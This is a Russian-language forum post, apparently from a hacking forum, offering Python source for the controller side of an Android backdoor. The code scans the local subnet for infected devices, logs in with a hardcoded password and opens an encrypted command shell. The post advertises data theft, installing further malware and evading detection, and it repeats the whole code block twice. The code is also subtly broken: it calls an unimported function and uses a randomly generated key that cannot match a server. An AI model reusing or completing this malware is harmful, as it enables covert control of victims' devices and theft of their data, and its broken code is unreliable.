Coder_CC
Member
- Messages
- 24
- Reaction score
- 9
- Points
- 3
Эта программа действует как клиентская часть бэкдора. Она сканирует сеть, находит уязвимые устройства и позволяет вам выполнять на них команды. Использует шифрование (Fernet) для защиты передачи данных и аутентификации по паролю.
Как это работает?
Сканирование сети:
Подключение к устройству:
Управление устройством:
Техническое обслуживание соединения:
Что она может сделать?
Ключевые компоненты:
import time
import socket
import threading
import hashlib
import json
from cryptography.fernet import Fernet
from concurrent.futures import ThreadPoolExecutor
from ipaddress import ip_network, IPv4Address
# Configuration
PORT = 48573
PASSWORD = "paket"
NETWORK_MASK = "/24" # Default subnet mask
MAX_THREADS = 512 # Optimal number of streams
PING_INTERVAL = 10 # Ping interval in seconds
# Encryption
KEY = Fernet.generate_key()
fernet = Fernet(KEY)
# Flow-safe structures
infected_devices = []
ptime = time.time()
ptime_lock = threading.Lock()
devices_lock = threading.Lock()
# Error Logging
def log_error(error: str):
with open("error.log", "a") as f:
f.write(f"[{time.ctime()}] {error}\n")
# Obtaining a local IP
def get_local_ip():
try:
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:
s.connect(("8.8.8.8", 80))
return s.getsockname()[0]
except Exception as e:
log_error(f"Failed to get local IP: {e}")
return "127.0.0.1"
# Network scan
def scan(ip: str):
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.settimeout(1)
if sock.connect_ex((ip, PORT)) == 0:
with devices_lock:
infected_devices.append(ip)
print(f"[+] Backdoor device detected: {ip}")
except Exception as e:
log_error(f"Scan error ({ip}): {e}")
def scanner():
local_ip = get_local_ip()
network = ip_network(f"{local_ip}{NETWORK_MASK}", strict=False)
print(f"[+] Network scan: {network}")
with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
for ip in network.hosts():
executor.submit(scan, str(ip))
time.sleep(0.01) # CPU load reduction
# Ping mechanism
def ping(sock: socket.socket):
global ptime
while True:
try:
with ptime_lock:
sock.send(fernet.encrypt(b'ping'))
ptime = time.time()
time.sleep(PING_INTERVAL)
except:
break
# IP validation
def validate_ip(ip: str) -> bool:
try:
return isinstance(ip_address(ip), IPv4Address)
except:
return False
# Control panel
def panel(ip: str):
if not validate_ip(ip):
print("[-] Invalid IP address")
return
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.settimeout(5)
sock.connect((ip, PORT))
# Authentication
auth_hash = hashlib.sha256(PASSWORD.encode()).hexdigest()
sock.send(fernet.encrypt(auth_hash.encode()))
# Data retrieval
data = fernet.decrypt(sock.recv(1024)).decode()
if data == "AUTH_FAIL":
print("[-] Incorrect password")
return
android_model, android_version, backdoor_path = data.split("|_|")
print(f"[Model: {android_model}]\n[OS version: {android_version}]\n[Backdoor path: {backdoor_path}]\n")
threading.Thread(target=ping, args=(sock,), daemon=True).start()
# Command interface
while True:
command = input("[backdoor] > ").strip()
if not command:
continue
# Command encryption
encrypted_cmd = fernet.encrypt(command.encode())
sock.send(encrypted_cmd)
# Receiving a response
response = fernet.decrypt(sock.recv(4096 * 16))
print(f"[Response] {response.decode()}")
except Exception as e:
log_error(f"Panel error: {e}")
print("[-] Connection error")
if __name__ == '__main__':
scanner()
while True:
server_ip = input("[?] Enter the IP of the device > ")
if server_ip.lower() == "exit":
break
panel(server_ip)
Инструкция по использованию:
Установка зависимости:
Код
<span>pip</span> install cryptography pystyle
Запуск сканирования:
Код
<span>python</span> <span>client</span><span>.py</span>
Программа автоматически определит локальную сеть и найдет бэкдор-устройства.
Подключение к устройству:
1. Введите IP из списка обнаруженных IP.
2. Используйте команды:
Важный:
Что нам понадобится:
Как это работает?
Сканирование сети:
- Определяет локальный IP-адрес и сканирует всю подсеть (маска /24) на предмет устройств с открытым портом 48573.
- Использует многопоточность (ThreadPoolExecutor) для ускорения сканирования.
Подключение к устройству:
- При вводе IP-адреса пользователем программа устанавливает зашифрованное соединение через порт 48573.
- Аутентификация выполняется с использованием хэша пароля ПАРОЛЬ = «paket».
Управление устройством:
- После успешного подключения отображает информацию об устройстве (модель Android, версия ОС, путь к бэкдору).
- Позволяет вводить команды, которые шифруются и отправляются на устройство. Ответы расшифровываются и выводятся пользователю.
Техническое обслуживание соединения:
- Периодически отправляет пинг-сообщения для поддержания активного соединения.
Что она может сделать?
- Обнаружение устройств с активным бэкдором в локальной сети.
- Выполнять произвольные команды на зараженном устройстве (например: запускать процессы, красть данные, устанавливать дополнительное вредоносное ПО).
- Получите информацию о системе жертвы (модель устройства, версия ОС).
- Маскируйте трафик с помощью шифрования, чтобы избежать обнаружения.
Ключевые компоненты:
- Сетевой сканер — ищет уязвимые устройства.
- Шифрование (Fernet) — защищает данные от перехвата.
- Объединение потоков — ускоряет сканирование.
- Механизм пинга — поддерживает соединение с устройством.
- Панель управления - интерактивный интерфейс для ввода команд.
import time
import socket
import threading
import hashlib
import json
from cryptography.fernet import Fernet
from concurrent.futures import ThreadPoolExecutor
from ipaddress import ip_network, IPv4Address
# Configuration
PORT = 48573
PASSWORD = "paket"
NETWORK_MASK = "/24" # Default subnet mask
MAX_THREADS = 512 # Optimal number of streams
PING_INTERVAL = 10 # Ping interval in seconds
# Encryption
KEY = Fernet.generate_key()
fernet = Fernet(KEY)
# Flow-safe structures
infected_devices = []
ptime = time.time()
ptime_lock = threading.Lock()
devices_lock = threading.Lock()
# Error Logging
def log_error(error: str):
with open("error.log", "a") as f:
f.write(f"[{time.ctime()}] {error}\n")
# Obtaining a local IP
def get_local_ip():
try:
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:
s.connect(("8.8.8.8", 80))
return s.getsockname()[0]
except Exception as e:
log_error(f"Failed to get local IP: {e}")
return "127.0.0.1"
# Network scan
def scan(ip: str):
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.settimeout(1)
if sock.connect_ex((ip, PORT)) == 0:
with devices_lock:
infected_devices.append(ip)
print(f"[+] Backdoor device detected: {ip}")
except Exception as e:
log_error(f"Scan error ({ip}): {e}")
def scanner():
local_ip = get_local_ip()
network = ip_network(f"{local_ip}{NETWORK_MASK}", strict=False)
print(f"[+] Network scan: {network}")
with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
for ip in network.hosts():
executor.submit(scan, str(ip))
time.sleep(0.01) # CPU load reduction
# Ping mechanism
def ping(sock: socket.socket):
global ptime
while True:
try:
with ptime_lock:
sock.send(fernet.encrypt(b'ping'))
ptime = time.time()
time.sleep(PING_INTERVAL)
except:
break
# IP validation
def validate_ip(ip: str) -> bool:
try:
return isinstance(ip_address(ip), IPv4Address)
except:
return False
# Control panel
def panel(ip: str):
if not validate_ip(ip):
print("[-] Invalid IP address")
return
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.settimeout(5)
sock.connect((ip, PORT))
# Authentication
auth_hash = hashlib.sha256(PASSWORD.encode()).hexdigest()
sock.send(fernet.encrypt(auth_hash.encode()))
# Data retrieval
data = fernet.decrypt(sock.recv(1024)).decode()
if data == "AUTH_FAIL":
print("[-] Incorrect password")
return
android_model, android_version, backdoor_path = data.split("|_|")
print(f"[Model: {android_model}]\n[OS version: {android_version}]\n[Backdoor path: {backdoor_path}]\n")
threading.Thread(target=ping, args=(sock,), daemon=True).start()
# Command interface
while True:
command = input("[backdoor] > ").strip()
if not command:
continue
# Command encryption
encrypted_cmd = fernet.encrypt(command.encode())
sock.send(encrypted_cmd)
# Receiving a response
response = fernet.decrypt(sock.recv(4096 * 16))
print(f"[Response] {response.decode()}")
except Exception as e:
log_error(f"Panel error: {e}")
print("[-] Connection error")
if __name__ == '__main__':
scanner()
while True:
server_ip = input("[?] Enter the IP of the device > ")
if server_ip.lower() == "exit":
break
panel(server_ip)
Инструкция по использованию:
Установка зависимости:
Код
<span>pip</span> install cryptography pystyle
Запуск сканирования:
Код
<span>python</span> <span>client</span><span>.py</span>
Программа автоматически определит локальную сеть и найдет бэкдор-устройства.
Подключение к устройству:
1. Введите IP из списка обнаруженных IP.
2. Используйте команды:
- bash <команда> - выполнить команду в оболочке.
- скачать <путь> - загрузить файл с устройства.
- upload <local_path> <remote_path> - загрузить файл.
- снимок экрана - сделать снимок экрана.
Важный:
- Для этого на целевых устройствах необходимо установить совместимый бэкдор с поддержкой шифрования.
- Пароль пакета должен быть одинаковым на клиенте и сервере.
- Измените NETWORK_MASK в коде, если ваша подсеть отличается от /24.
Что нам понадобится:
- Питон 3.10+
- Библиотеки: криптография, pystyle
- Сеть с устройствами, на которых запущена серверная часть бэкдора